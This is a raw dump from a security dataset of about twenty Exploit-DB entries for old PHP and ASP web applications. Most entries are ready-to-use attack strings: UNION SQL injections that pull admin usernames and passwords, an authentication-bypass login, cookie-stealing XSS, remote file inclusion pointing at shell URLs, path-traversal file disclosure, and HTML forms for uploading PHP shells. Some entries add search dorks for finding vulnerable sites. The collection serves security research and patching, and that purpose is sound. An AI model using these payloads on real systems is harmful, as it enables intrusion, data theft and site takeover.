deardaniel/secdata-raw huggingface dataset:
Exploit-DB #25860
Description: DUware DUamazon Pro 3.0/3.1 - 'type.asp?iType' SQL Injection
Type: webapps
Platform: php
Date: 2005-06-22
Author: Dedi Dwianto

Exploit:
source: https://www.securityfocus.com/bid/14033/info

DUamazon Pro is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

http://www.example.com/DUamazon/type.asp?iType=1[SQL inject]
Exploit-DB #17710
Description: DV Cart Shopping Cart software - SQL Injection
Type: webapps
Platform: php
Date: 2011-08-22
Author: Eyup CELIK

Exploit:
# Exploit Title: DV Cart (E-Commerce System) SQL Injection
# Date: 19.08.2011
# Author: Eyup CELIK
# Software Link: http://www.esmistudio.com
# Version: All Version
# Tested on: All versions are Vulnerability

ISSUE

SQL Injection can be done using the command input

Example
index.php?keyword=<SQL Injection Code>&mod=search&submit=GO

Exploit:
index.php?keyword='1&mod=search&submit=GO

Demo:
http://site.com/dv10dis/index.php?keyword=%271&mod=search&submit=GO
Exploit-DB #33214
Description: DvBBS 2.0 - 'boardrule.php' SQL Injection
Type: webapps
Platform: php
Date: 2009-09-04
Author: Securitylab.ir

Exploit:
source: https://www.securityfocus.com/bid/36282/info

DvBBS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

DvBBS 2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/[Path]/boardrule.php?groupboardid=1/**/union/**/select/**/concat(0xBAF3CCA8D3C3BBA7C3FBA3BA,username,0x202020C3DCC2EBA3BA,password)/**/from%20dv_admin%20where%20id%20between%201%20and%204/**/
Exploit-DB #15578
Description: DVD Rental Software - SQL Injection
Type: webapps
Platform: php
Date: 2010-11-19
Author: JaMbA

Exploit:
# Exploit Title: DVD Rental Software SQL injection Vulnerability
# Date: 19/11/2010
# Author: JaMbA
# Team: SwT
#Script url: http://www.commodityrentals.com/dvd.php
# Version: N/A
# Tested on: Demo
# CVE : ()
###################################################################################



#########################[ EXPL0!T ]#########################


http://server/path/index.php?view=catalog&item_type=M&cat_id=-18+union+select+1,2,concat(admin_name,0x3a,admin_password),4,5+from+rental_admin--



#############################SwT 4
Ever##############################################


GreeTz: SwT Member - ZaTTalova - Med Amine SaSsi - Raouf Matmati - Rami Bof
- Mr adnen smii - Mr zied becher

Dj Dj City Up Up :)
Exploit-DB #27359
Description: DVGuestbook 1.0/1.2.2 - 'dv_gbook.php?f' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-03-06
Author: Liz0ziM

Exploit:
source: https://www.securityfocus.com/bid/16968/info
 
DVGuestbook is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/path/dv_gbook.php?d=0&f='"><script>alert(document.cookie)</script>
Exploit-DB #27358
Description: DVGuestbook 1.0/1.2.2 - 'index.php?page' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-03-06
Author: Liz0ziM

Exploit:
source: https://www.securityfocus.com/bid/16968/info

DVGuestbook is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/path/index.php?page="><script>alert(document.cookie)</script>
Exploit-DB #4708
Description: DWdirectory 2.1 - SQL Injection
Type: webapps
Platform: php
Date: 2007-12-09
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+		    DWdirectory 2.1 AND PRIOR SQL Injection Vulnerbility             +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog
SITE: N/A
DORK (altavista.com): "Powered by DWdirectory"


DESCRIPTION: 
pull admin info from the database

EXPLOITS:
www.site.com/search?search=null'+and+1=2+UNION+ALL+SELECT+concat(username,char(58),password),2,3,4+FROM+users/**/LIMIT/**/0,1/*&submit=Search


NOTE/TIP: 
admin login is at /admin/

GREETZ: milw0rm.com, h4ck-y0u.org !


--==+================================================================================+==--
--==+		    DWdirectory 2.1 AND PRIOR SQL Injection Vulnerbility             +==--
--==+================================================================================+==--

# milw0rm.com [2007-12-09]
Exploit-DB #8387
Description: dynamic flash forum 1.0 Beta - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2009-04-09
Author: Salvatore Fresta

Exploit:
*******   Salvatore "drosophila" Fresta   *******

[+] Application: Dynamic Flash Forum
[+] Version: 1.0 Beta
[+] Website: http://df2.sourceforge.net/

[+] Bugs: [A] Information Disclosure
          [B] Authentication Bypass
          [C] Multiple SQL Injection

[+] Exploitation: Remote
[+] Date: 09 Apr 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@gmail.com


*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


*************************************************

[+] Bugs


- [A] Information Disclosure

[-] File affected: config.inc

This file contains reserved informations such as
the username and the password for connecting to
the database. Using .inc extension only, the 
content is visible.


- [B] Authentication Bypass

[-] Requisites: magic_quotes_gpc = off
[-] File affected: login.php

This bug allows a guest to bypass the authentication
system and to login with administrator privileges.


- [C] Multiple SQL Injection

[-] Requisites: magic_quotes_gpc = off
[-] File affected: viewprofile.php, viewmessage.php,
viewthreads.php

This bug allows a guest to execute arbitrary 
queries.


*************************************************

[+] Code


- [A] Information Disclosure

http://www.site.com/path/config.inc


- [B] Authentication Bypass

Username: -1' UNION ALL SELECT 'password', 1, 'Administrator' FROM users%23
[CREDENTIAL_REDACTED]


- [C] Multiple SQL Injection

http://www.site.com/path/viewprofile.php?userID=-1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,GROUP_CONCAT(CONCAT(username, 0x3a, password)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM users%23

http://www.site.com/path/viewmessage.php?threadID=-1' UNION ALL SELECT NULL,NULL,NULL,NULL,GROUP_CONCAT(CONCAT(username, 0x3a, password)),NULL,NULL,NULL FROM users%23

http://www.site.com/path/viewthreads.php?boardID=-1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,GROUP_CONCAT(CONCAT(username, 0x3a, password)) FROM users%23


*************************************************

[+] Fix

No fix.


*************************************************

# milw0rm.com [2009-04-09]
Exploit-DB #32364
Description: Dynamic MP3 Lister 2.0.1 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-09-12
Author: Xylitol

Exploit:
source: https://www.securityfocus.com/bid/31151/info

Dynamic MP3 Lister is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Dynamic MP3 Lister 2.0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?currentpath=[XSS]&sort=[XSS]&invert=[XSS]
http://www.example.com/index.php?sort=[XSS]&invert=[XSS]&currentpath=[XSS]&search=[XSS]
Exploit-DB #5211
Description: Dynamic photo Gallery 1.02 - 'albumID' SQL Injection
Type: webapps
Platform: php
Date: 2008-03-01
Author: Aria-Security Team

Exploit:
Aria-Security Team
http://Aria-Security.Net
----------------------------
Shoutz: Aura, imm02rtal, NULL, Kinglet And all our staff
Vendor: http://www.phpwebscript.net/dynamicphotogallery/foto-gallery.php
Original Link: http://forum.aria-security.net/showthread.php?p=1521

PoC:
album.php?slideshow=start&albumID=-4214/**/union/**/select/**/0,username,password,3,4,5,6,7,8/**/from/**/users


Regards
The-0utl4w 

# milw0rm.com [2008-03-01]
Exploit-DB #3868
Description: DynamicPAD 1.02.18 - 'HomeDir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-07
Author: ThE TiGeR

Exploit:
#DynamicPAD Remote file inclusion (HomeDir)

#Download script : http://dynamicpad.org/dp.tar.gz

#Thanks Str0ke

#Dork : "Powered By DynamicPAD"

#Exploit :

#http://victim.com/[dp_path]/dp_logs.php?HomeDir=shell.txt?

#http://victom.com/[dp_path]/index.php?HomeDir= shell.txt?

#Discovered by : ThE TiGeR

#Miro_Tiger[at]Hotmail[dot]com

# milw0rm.com [2007-05-07]
Exploit-DB #29912
Description: DynaTracker 1.5.1 - 'action.php?base_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-25
Author: alijsb

Exploit:
source: https://www.securityfocus.com/bid/23667/info
 
DynaTracker is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
 
DynaTracker 1.5.1 is reported vulnerable; other versions may also be affected. 

http://www.example.com/DynaTracker_v151/action.php?base_path=http://shell
Exploit-DB #29911
Description: DynaTracker 1.5.1 - 'includes_handler.php?base_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-25
Author: alijsb

Exploit:
source: https://www.securityfocus.com/bid/23667/info

DynaTracker is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

DynaTracker 1.5.1 is reported vulnerable; other versions may also be affected. 

http://www.example.com/DynaTracker_v151/includes_handler.php?base_path=http://shell
Exploit-DB #2290
Description: Dyncms Release 6 - 'x_admindir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-02
Author: SHiKaA

Exploit:
#==============================================================================================
#Dyn CMS <= REleased (x_admindir) Remote File Inclusion Exploit
#===============================================================================================
#                                                                          
#Critical Level : Dangerous                                                
#                                                                          
#Venedor site : http://www.dyncms.com/          
#                                                                          
#Version : REleased                                                
#                                                            
#================================================================================================
#Bug in : 0_admin/modules/Wochenkarte/frontend/index.php
#
#Vlu Code :
#--------------------------------
#     include_once($x_admindir."/modules/".$xmodulname."/frontend/tools.inc.php");
#    
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/0_admin/modules/Wochenkarte/frontend/index.php?x_admindir=http://SHELLURL.COM?
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#GreetZ : Str0ke KACPER Rgod Timq XoRon MDX Bl@Ck^B1rd AND ALL ccteam (coder-cruze-wolf) | cyper-worrior
==================================================================================================

# milw0rm.com [2006-09-02]
Exploit-DB #17204
Description: DynMedia Pro Web CMS 4.0 - Local File Disclosure
Type: webapps
Platform: php
Date: 2011-04-22
Author: Mbah_Semar

Exploit:
|||[!]===========================================================================[!]
 
[~] DynMedia Pro Web CMS 4.0 ||Local File Disclosure Exploit|
|[~] Author : Mbah_Semar (fuji@undiphacker.net)
[~] Homepage : http://www.indonesianhacker.or.id | http://suramcrew.org
| http://www.masfuji.us
[~] Date : 22 April, 2010
 
[!]===========================================================================[!]
 
[ Software Information ]
 
[+] Vendor : http://www.vinyadmedia.com
[+] License : Commercial
[+] Vulnerability : ||||Local File Disclosure|
|[+] Dork : "Powered by Vinyad dynMedia�Pro 4.0"
[+] Version : 4.0
 
[!]===========================================================================[!]
 
[ Vulnerable File ]
    http://www.example.com/downloadfile.php?dwnfile=[LFD]
 
 
 
[ Example ]
 
    http://www.example.com/downloadfile.php?dwnfile=../library/dbconnect.php
 
 
[!]===========================================================================[!]
 
[ Thanks TO ]
 
[+] Indonesian Hacker Team
[+] Virgi aka Bl4ck_b0x, gisa maho, Lukas Ranger Zero-Line, Aanz, Angga,
riv182, sudden_death, alusius, and you.
[+] Semua kaum Suram dimanapun berada yang tidak bisa disebukan satu persatu
 
 
[ NOTE ]
 
[+] Tolong kasih saya sesaji berupa Kopi Item dan rokok Gudang Garam
International
|
Exploit-DB #37321
Description: DynPage 1.0 - 'ckfinder' Multiple Arbitrary File Upload Vulnerabilities
Type: webapps
Platform: php
Date: 2012-05-25
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/53696/info

DynPage is prone to multiple arbitrary-file-upload vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application.

DynPage 1.0 is vulnerable; other versions may also be affected. 

########>>>>> Explo!T <<<<<<##################

# Download : [http://www.dynpage.net/download/dynpage.zip]

### [ Upload Sh3LL.php;.txt ] =>

<form action="http://www.example.com/[path]/js/ckfinder/core/connector/php/connector.php?command=QuickUpload&type=Files" method="post" enctype="multipart/form-data" >
<input name="Files" type="file" class="submit" size="80">
<input type="submit" value="Upload !">
</form>



### [ Upload Sh3LL.php;.gif ;.jpeg ] =>

<!-- p0c 1 -->
<form action="http://www.example.com/[path]/js/ckfinder/core/connector/php/connector.php?command=QuickUpload&type=Images" method="post" enctype="multipart/form-data" >
<input name="Images" type="file" class="submit" size="80">
<input type="submit" value="Upload !">
</form>

<!-- p0c 2 -->
<form action="http://www.example.com/[path]/js/ckfinder/ckfinder.html?Type=Images" method="post" enctype="multipart/form-data" >
<input name="Images" type="file" class="submit" size="80">
<input type="submit" value="Upload !">
</form>


### [ Upload Sh3LL.php;.swf ;.flv ] =>

<!-- p0c 1 -->
<form action="http://www.example.com/[path]/js/ckfinder/core/connector/php/connector.php?command=QuickUpload&type=Flash" method="post" enctype="multipart/form-data" >
<input name="Images" type="file" class="submit" size="80">
<input type="submit" value="Upload !">
</form>

<!-- p0c 2 -->
<form action="http://www.example.com/[path]/js/ckfinder/ckfinder.html?Type=Flash" method="post" enctype="multipart/form-data" >
<input name="Images" type="file" class="submit" size="80">
<input type="submit" value="Upload !">
</form>
############# << ThE|End
Exploit-DB #14927
Description: dynpage 1.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-09-07
Author: Abysssec

Exploit:
'''
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ < 
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

 http://www.exploit-db.com/moaub-7-dynpage-multiple-remote-vulnerabilities/
'''

- Title  : DynPage Multiple Remote Vulnerabilities.
- Affected Version : <= v1.0
- Vendor  Site   : http://www.dynpage.net
 
- Discovery : Abysssec.com
 
 
- Description :
===============
DynPage allows you to edit Websites online and make pieces of contents editable with a comfortable editor.
DynPage implements the CKeditor - one of the best Internet editors. 
The integration of content into the HTML pages can be done with Ajax/Javascript or PHP - so you can also handle cross domain sites. 
DynPage is written in PHP and does not require MySQL database. It's easy to install and to configurate.

- Vulnerabilities:
==================
1)Local File Disclosure:
---------------------
	+Code:
	/content/dynpage_load.php #[line(20-28)]:

	$filename = $_GET["file"];
	if (!is_dir ($filename) && file_exists ($filename)) {
	
		$bytes = filesize ($filename);
		$fh = fopen($filename, 'r');
		print (fread ($fh, $bytes));
		fclose ($fh);

	}


	+POC: 
	     http://www.Site.com/dynpage/content/dynpage_load.php?file=../.htaccess%00


2)Admin hash Disclosure:
---------------------------------
	The Admin password hash format:	MD5('admin:'+$password)
	then password's salt is "admin:".

	2-a)Default password is admin,that stored in config_global.inc.php(line 41-42 )
			// Default login admin
			"default_login_hash" => "d2abaa37a7c3db1137d385e1d8c15fd2",
	+POC:for see this hash:
	  http://www.Site.com/dynpage/content/dynpage_load.php?file=../config_global.inc.php%00

	2-b)the hash  password  stored as SESSION in /conf/init.inc.php.
		<?php
			// This file is generated automatically!
			// No not modify manually!
			$_SESSION['DYNPAGE_CONF_VAR_ALL']['login_hash']="2d08086927f4d87a31154aaf0ba2e067";
			$_SESSION['DYNPAGE_CONF_VAR_ALL']['admin_email']="a@a.com";
		?>
	+POC:for see this hash:
	  http://www.Site.com/dynpage/content/dynpage_load.php?file=../conf/init.inc.php%00
Exploit-DB #15646
Description: DynPG 4.2.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-11-30
Author: High-Tech Bridge SA

Exploit:
Vulnerability ID: HTB22703
Reference: http://www.htbridge.ch/advisory/lfi_in_dynpg.html
Product: DynPG 
Vendor: dynpg.org ( http://www.dynpg.org/ ) 
Vulnerable Version: 4.2.0 
Vendor Notification: 16 November 2010 
Vulnerability Type: Local File Inclusion
Status: Fixed by Vendor
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Local File Inclusion:
Vulnerability Details:
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in CHG_DYNPG_SET_LANGUAGE variable.

Attacker can use browser to exploit this vulnerability. The following PoC is available:


<form action="http://dynpg/index.php" method="post" name="main" >
<input type="hidden" name="SYSTEM_NAME" value="[admin_login]" />
<input type="hidden" name="SYSTEM_PASSWORD" value="[admin_password]" />
<input type="hidden" name="SET_LANGUAGE" value="1" />
<input type="hidden" name="CHG_DYNPG_SET_LANGUAGE" value="../../../../../" />
<input type="submit" value="submit" name="submit" />
</form>


Solution: Upgrade to the most recent version

Path Disclosure:
Vulnerability Details:
The vulnerability exists due to failure in the "/languages.inc.php" script, it's possible to generate an error that will reveal the full path of the script.
A remote user can determine the full path to the web root directory and other potentially sensitive information.

Attacker can use browser to exploit this vulnerability. The following PoC is available:


http://[host]/languages.inc.php

Solution: Upgrade to the most recent version

SQL Injection:
Vulnerability Details:
The vulnerability exists due to failure in the "_rights.php" script to properly sanitize user-supplied input in "giveRights_UserId" variable. Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

Attacker can use browser to exploit this vulnerability. The following PoC is available:


<form action="http://[host]/_rights.php" method="post" name="main" >
<input type="hidden" name="saveRights" value="1" />
<input type="hidden" name="giveRights_giveright" value="1" />
<input type="hidden" name="giveRights_UserId" value="123'SQL_CODE_HERE" />
<input type="submit" value="submit" name="submit" />
</form>


Solution: Upgrade to the most recent version
Exploit-DB #48865
Description: DynPG 4.9.1 - Persistent Cross-Site Scripting (Authenticated)
Type: webapps
Platform: php
Date: 2020-10-09
Author: Enes Özeser

Exploit:
# Exploit Title: DynPG 4.9.1 - Persistent Cross-Site Scripting (Authenticated)
# Date: 2020-10-09
# Exploit Author: Enes Özeser
# Vendor Homepage: https://dynpg.org/
# Version: 4.9.1
# Tested on: Windows & XAMPP

==> Tutorial <==

1- Login to admin panel.
2- Click on the "Texts" button.
3- Write XSS payload into the Groupname. 
4- Press "Create" button.

XSS Payload ==> <script>alert("XSS");</script> 

==> HTTP Request <==

POST /index.php?show=4 HTTP/1.1
Host: (HOST)
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Length: 725
Origin: http://(HOST)
Connection: close
Referer: http://(HOST)/index.php?show=4
Cookie: PHPSESSID=bsbas234jfvvdasdasd1i
Upgrade-Insecure-Requests: 1

----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="NEW_GROUP_NAME"

<script>alert("XSS");</script>
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="GROUP_ID"

0
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="GRP_SUBMIT"

Create
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="GRP_ACTION"

new_grp
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="dpg_csrf_token"

3F16478C29BED20AA73F1D25CB23F471
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]--